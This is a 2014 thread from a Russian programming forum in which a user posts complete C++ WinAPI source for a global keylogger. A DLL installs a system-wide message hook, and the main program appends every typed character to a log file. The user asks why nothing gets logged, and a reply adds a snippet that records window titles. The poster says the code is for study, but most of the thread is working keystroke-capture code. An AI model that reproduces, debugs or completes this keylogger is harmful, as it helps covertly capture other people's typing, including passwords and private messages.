Форум программистов, компьютерный форум, киберфорум
C/C++: WinAPI
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.71/7: Рейтинг темы: голосов - 7, средняя оценка - 4.71
 Аватар для RamonN
32 / 32 / 19
Регистрация: 13.07.2011
Сообщений: 140

Hook клавиатуры не работает

20.05.2014, 23:03. Показов 1425. Ответов 4
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Всем доброй ночи, возникла такая проблема: дано задание написать аудит клавиатуры, еще проще обычный кейлоггер.
Вот код

hooks.h
C++
1
2
3
4
5
6
7
8
9
10
#pragma once
 
#include <Windows.h>
 
#define HOOKAPI_DLL __declspec(dllexport)
 
extern "C" {
    HOOKAPI_DLL int setHook(HWND, UINT);
    HOOKAPI_DLL int unsetHook();
}
hooks.cpp
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include "hooks.h"
#include <fstream>
 
HINSTANCE hInstance = NULL;
 
LRESULT CALLBACK GetMsgProc(int code, WPARAM wPAram, LPARAM lParam);
 
#pragma data_seg("Shared")
 
HHOOK hMsgHook = NULL;
UINT KBoardMessage = NULL;
HWND hParentWnd = NULL;
 
#pragma data_seg()
 
#pragma comment(linker,"/SECTION:Shared,rws")
 
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
        hInstance = (HINSTANCE)hModule;
    return TRUE;
}
 
HOOKAPI_DLL int setHook(HWND hWnd, UINT Msg)
{
    if (hWnd == NULL) 
        return -1;
 
    hParentWnd = hWnd;
    KBoardMessage = Msg;
 
    hMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, hInstance, 0);
 
    if (hMsgHook == NULL)
        return -1;
 
    return 0;
}
 
HOOKAPI_DLL int unsetHook()
{
    UnhookWindowsHookEx(hMsgHook);
 
    hMsgHook = NULL;
 
    return 0;
}
 
LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
    if (code >= 0)
    {
        MSG *msg = (MSG *)lParam;
 
        if ((lParam) && (msg->message == WM_CHAR) && (wParam == PM_REMOVE)) {
            SendMessageW(hParentWnd, KBoardMessage, msg->wParam, 0);
        }
    }
    else
        CallNextHookEx(hMsgHook, code, wParam, lParam);
 
    return CallNextHookEx(hMsgHook, code, wParam, lParam);
};
Основная прога
main.cpp
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
 
LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG);
// Сообщение, которое мы будем получать от хука
#define WM_HOOKMESSAGE (WM_USER+1)
// Глобальные пременные
HWND hWnd; // Главное окно приложения
HINSTANCE hDllInst; // Dll с хуком
// И две функции
int(*SetHook)(HWND, UINT);
int(*UnSetHook)();
// Вход в программу
int APIENTRY WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow)
{
    MSG msg;
    WNDCLASS wc;
 
    memset(&wc, 0, sizeof (wc));
    wc.lpszClassName = "__MyKeyLogger";
    wc.hInstance = hInstance;
    wc.lpfnWndProc = LogWndProc;
    wc.style = CS_HREDRAW | CS_VREDRAW;
    wc.hbrBackground = (HBRUSH)(COLOR_MENU + 1);
    wc.hCursor = LoadCursor(NULL, IDC_ARROW);
 
    RegisterClass(&wc);
 
    hWnd = CreateWindowEx(0,
        "__MyKeyLogger",
        "My KeyLogger",
        WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME,
        0, 0, 200, 200,
        NULL,
        NULL,
        hInstance,
        0);
 
    hDllInst = LoadLibrary((LPCTSTR) "DllHook.dll");
 
    if (hDllInst)
    {
        SetHook = (int(*)(HWND, UINT))GetProcAddress(hDllInst, "setHook");
        UnSetHook = (int(*)())GetProcAddress(hDllInst, "unsetHook");
    }
 
    if (SetHook)
        SetHook(hWnd, WM_HOOKMESSAGE);
    // Цикл сообщений
    while (GetMessage(&msg, NULL, 0, 0))
    {
        DispatchMessage(&msg);
    }
 
    // Снимаем хук
    if (UnSetHook)
        UnSetHook();
 
    if (IsWindow(hWnd))
        DestroyWindow(hWnd);
 
    // Выгружаем dll
    if (hDllInst) FreeLibrary(hDllInst);
    // Выход
    return 0;
}
 
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
    FILE *f = fopen("a.log", "a");
 
    switch (Message)
    {
    case WM_CLOSE:
        DestroyWindow(hwnd);
        break;
 
    case WM_HOOKMESSAGE:
        switch (wParam)
        {
        case 0x08: fprintf(f, "<BkSp>"); break;
        case 0x1b: fprintf(f, "<Esc>"); break;
        case 0x0d: fprintf(f, "\n"); break;
        default:
            fprintf(f, "%c", wParam);
        }
        break;
 
    case WM_DESTROY:
    case WM_ENDSESSION:
        PostQuitMessage(0);
        break;
    }
 
    fclose(f);
    return DefWindowProc(hwnd, Message, wParam, lParam);
}
И вроде бы библиотека подгружается, но перехвата не происходит, файл a.log как создался пустой, так и остается пустой после закрытия программы. Помогите разобраться, где тут ошибка, заранее спасибо.

P.S. Программа пишется только в учебных целях, никакого злого умысла я не преследую.

Добавлено через 19 часов 8 минут
Тема все еще актуальна, выручайте, форумчане!
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
20.05.2014, 23:03
Ответы с готовыми решениями:

Hook клавиатуры
Помогите мне пожалуйста с лабораторной работой, мне нужен хук клавиатуры в win32 VS, сама я не дружу с win32..

Hook клавиатуры и мыши
Я пересмотрел кучу сайтов по похожим запросам И нигде толком и понятно не написано выручайте люди.

Ошибка перехвата клавиатуры (hook)
Есть задача: запустить приложение и отлавливать нажатые клавиши. Привожу часть кода, отвечающую за это://dllmain.cpp: #include...

4
 Аватар для oxyfat
68 / 65 / 21
Регистрация: 01.05.2014
Сообщений: 247
21.05.2014, 00:10
Приветствую!
Там, в пакете, всё рабочее: Текстовый редактор убрать функции
0
 Аватар для RamonN
32 / 32 / 19
Регистрация: 13.07.2011
Сообщений: 140
21.05.2014, 20:05  [ТС]
oxyfat, Спасибо, но в вашем примере, хук только на блокнот, мне же нужен глобальный. В принципе, мой код, описанный выше, должен работать, но где-то возникает загвоздка и он не работает, хотелось бы все-таки знать почему.

Добавлено через 18 часов 21 минуту
Ну же, форумчане, неужели у нас на форуме нет хорошо знающих WinAPI? Хотя бы скажите у вас работает мой код или нет?
0
 Аватар для oxyfat
68 / 65 / 21
Регистрация: 01.05.2014
Сообщений: 247
21.05.2014, 20:39
В пакете ( мною указанный, то что надо - Вам ), сделать так:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(nCount>0)
{
    /*
    if( strncmp(Title,"Безымянный",10)==0||strncmp(Title,"Notepad",7)==0 )
    {
        TCHAR Buffer[512]=TEXT("");
        wsprintf(Buffer,"\r\n-----[ %s ]-----\r\n",Title);
        WriteFile(g_hFile,Buffer,lstrlen(Buffer),&dwBytes,NULL);
    }
    else return 0;
    */
 
    TCHAR Buffer[512]=TEXT("");
    wsprintf(Buffer,"\r\n-----[ %s ]-----\r\n",Title);
    WriteFile(g_hFile,Buffer,lstrlen(Buffer),&dwBytes,NULL);
}
0
 Аватар для RamonN
32 / 32 / 19
Регистрация: 13.07.2011
Сообщений: 140
27.05.2014, 19:24  [ТС]
Тема все еще актуальна, хотелось бы все-таки понять, почему мой код не работает.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
27.05.2014, 19:24
Помогаю со студенческими работами здесь

В чем преимущество trampoline hook над обычным hook?
Объясните пожалуйста в чем преимущество trampoline hook и hook? Никак не могу понять

Не работает Hook
Скажите,что я делаю неправильно? #include &lt;Windows.h&gt; HHOOK hook; HINSTANCE hIns; LRESULT CALLBACK KeyBrdProc(int nCode,...

Не работает пример Hook'a с MSDN
Решил попробовать хукать эвенты. Вот код, практически полностью идентичный примеру к функции SetWinEventHook с MSDN: #include...

Hook в DLL работает некорректно
Ситуация такая: я инжектирую в свою пустую форму dll, которая должна там обрабатывать сообщения окна. код : HHOOK KBHook;...

Hook клавиатуры не работает на windows 7
Не знаю народ в чём ошибка помогите, под xp работает, а на windows 7 не хочет, пробовал ставить права админа на exe всё равно не пашет . ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
5
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Работа со звуком через SDL3_mixer
8Observer8 08.02.2026
Содержание блога Пошагово создадим проект для загрузки звукового файла и воспроизведения звука с помощью библиотеки SDL3_mixer. Звук будет воспроизводиться по клику мышки по холсту на Desktop и по. . .
SDL3 для Web (WebAssembly): Основы отладки веб-приложений на SDL3 по USB и Wi-Fi, запущенных в браузере мобильных устройств
8Observer8 07.02.2026
Содержание блога Браузер Chrome имеет средства для отладки мобильных веб-приложений по USB. В этой пошаговой инструкции ограничимся работой с консолью. Вывод в консоль - это часть процесса. . .
SDL3 для Web (WebAssembly): Обработчик клика мыши в браузере ПК и касания экрана в браузере на мобильном устройстве
8Observer8 02.02.2026
Содержание блога Для начала пошагово создадим рабочий пример для подготовки к экспериментам в браузере ПК и в браузере мобильного устройства. Потом напишем обработчик клика мыши и обработчик. . .
Философия технологии
iceja 01.02.2026
На мой взгляд у человека в технических проектах остается роль генерального директора. Все остальное нейронки делают уже лучше человека. Они не могут нести предпринимательские риски, не могут. . .
SDL3 для Web (WebAssembly): Вывод текста со шрифтом TTF с помощью SDL3_ttf
8Observer8 01.02.2026
Содержание блога В этой пошаговой инструкции создадим с нуля веб-приложение, которое выводит текст в окне браузера. Запустим на Android на локальном сервере. Загрузим Release на бесплатный. . .
SDL3 для Web (WebAssembly): Сборка C/C++ проекта из консоли
8Observer8 30.01.2026
Содержание блога Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а. . .
SDL3 для Web (WebAssembly): Установка Emscripten SDK (emsdk) и CMake для сборки C и C++ приложений в Wasm
8Observer8 30.01.2026
Содержание блога Для того чтобы скачать Emscripten SDK (emsdk) необходимо сначало скачать и уставить Git: Install for Windows. Следуйте стандартной процедуре установки Git через установщик. . . .
SDL3 для Android: Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 29.01.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами. Версия v3 была полностью переписана на Си, в. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru